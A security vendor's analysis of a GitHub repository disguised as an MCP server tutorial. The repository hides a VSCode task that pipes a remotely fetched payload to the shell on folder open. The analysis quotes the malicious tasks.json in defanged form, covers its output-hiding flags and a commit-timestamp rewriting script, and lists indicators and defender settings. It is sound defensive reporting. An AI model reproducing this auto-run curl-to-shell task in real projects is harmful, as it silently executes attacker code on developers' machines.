mcp-server-fast-mcp: committed VSCode task delivers curl-to-shell on folder open

mcp-server-fast-mcp is a single-commit repository on GitHub advertising a FastAPI integration demo for Gemini CLI. The Python code is clean: a FastAPI CRUD application and an MCP server that wraps its endpoints over stdio. Committed alongside it, .vscode/tasks.json downloads a platform-specific payload from default-configuration[.]vercel[.]app and pipes it directly to the host shell, triggered the moment a developer opens the folder in VSCode. Every presentation flag suppresses output. A tracking parameter (flag=9-test) and committed timestamp-manipulation tooling suggest infrastructure designed for repeated deployment.

The artifact

The repository at teeps-heisenberg/mcp-server-fast-mcp contains a single commit (26558d4, Nov 2, 2025) by the handle teeps-heisenberg. Nine files: app.py (FastAPI CRUD), mcp_server.py (MCP server wrapping 11 endpoints), requirements.txt, README.md, demo.md, gemini-config.json, .vscode/tasks.json, .vscode/settings.json, and temp_auto_push.bat.

The README documents a standard integration pattern: start the FastAPI application, register the MCP server with Gemini CLI, interact with the API through natural language. The MCP server uses mcp.server.Server and mcp.server.stdio.stdio_server, registers 11 tools (health check, user CRUD, task CRUD, a calculator), and routes each tool call to hxxp://localhost:8000 via httpx.AsyncClient. No obfuscation and no eval or exec calls. The demo documentation runs 456 lines of worked examples, enough to function as a standalone tutorial.

What it does

The payload sits in .vscode/tasks.json, committed as part of the repository:

{
  "label": "env",
  "type": "shell",
  "linux": {
    "command": "curl hxxps://default-configuration[.]vercel[.]app/settings/linux?flag=9-test | sh"
  },
  "osx": {
    "command": "curl hxxps://default-configuration[.]vercel[.]app/settings/linux?flag=9-test | bash"
  },
  "windows": {
    "command": "curl hxxps://default-configuration[.]vercel[.]app/settings/win?flag=9-test | cmd"
  },
  "runOptions": { "runOn": "folderOpen" }
}

runOn: "folderOpen" instructs VSCode to execute the task automatically when the workspace folder is opened. No click required, no prompt unless the developer has set task.allowAutomaticTasks to "never".

Five presentation flags suppress every trace of execution:

Flag	Value	Effect
`reveal`	`"never"`	Terminal panel never opens
`echo`	`false`	Command text not printed
`focus`	`false`	Task panel stays in background
`close`	`true`	Dedicated panel closes on completion
`showReuseMessage`	`false`	No panel reuse prompt

Three platform variants target the same staging domain. Linux and macOS both request /settings/linux; Windows requests /settings/win. All three carry flag=9-test, likely a variant or tracking identifier.

The attack path runs through .vscode/tasks.json, which auto-fires on folder open with all output suppressed.

Commit timestamp manipulation

temp_auto_push.bat is a Windows batch script committed alongside the payload. It reads the last commit’s date, time, author name, and email address, temporarily sets the system clock to the commit’s timestamp, amends the commit with --no-verify (bypassing pre-commit hooks), restores the clock, and force-pushes to origin. The script allows the operator to deploy a repository today and rewrite its timestamp so the single commit appears to date from weeks or months earlier.

The campaign

The flag=9-test parameter implies a tracking system carrying a numeric identifier and a stage label (test). A value of 9 suggests prior values. The staging domain default-configuration[.]vercel[.]app uses a Vercel deployment name chosen to resemble a system endpoint. Vercel’s free tier allows rapid redeployment, so the same domain can serve different payloads per path and parameter without changes to the repository.

The timestamp manipulation script is tooling built for reuse. Its presence indicates a workflow designed for repeated deployment. A single specimen is not enough to confirm linkage to a wider operation with high confidence, but the reusable infrastructure and the tracking parameter are consistent with one.

Why the operation matters here

VSCode task poisoning requires no malicious code in any source file a developer would review. mcp_server.py, app.py, and every supporting document pass static analysis cleanly. The trigger sits in .vscode/tasks.json, a directory many developers treat as IDE convenience rather than executable configuration.

A developer who clones and opens this repository sees a working MCP server tutorial and has no visible signal that a shell command executed on open.

What a defender can do

VSCode Workspace Trust, if enabled, blocks automatic tasks in folders not explicitly trusted. The task.allowAutomaticTasks setting controls the behavior directly.

Set "task.allowAutomaticTasks": "never" in user-level VSCode settings
Enable Workspace Trust and do not auto-trust cloned repositories
Review .vscode/tasks.json in any third-party project before opening it
Scan committed .vscode/ directories in CI for runOn: "folderOpen" entries
Audit .vscode/ contents with the same scrutiny applied to source code

These controls stop the trigger but do not identify whether a cloned repository carries a poisoned task configuration before it reaches the IDE.

Where Aephix fits

The payload was not in the MCP server. No scan of the Python code would have flagged it. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth links the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week to the wider operations behind them, with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.

Indicators of compromise

Indicator	Type
`teeps-heisenberg/mcp-server-fast-mcp`	Repository
`teeps-heisenberg`	Git handle
`26558d4`	Commit SHA
`default-configuration[.]vercel[.]app`	Domain
`hxxps://default-configuration[.]vercel[.]app/settings/linux?flag=9-test`	URL
`hxxps://default-configuration[.]vercel[.]app/settings/win?flag=9-test`	URL
`.vscode/tasks.json` with `runOn: "folderOpen"`	Trigger mechanism
`temp_auto_push.bat`	Tooling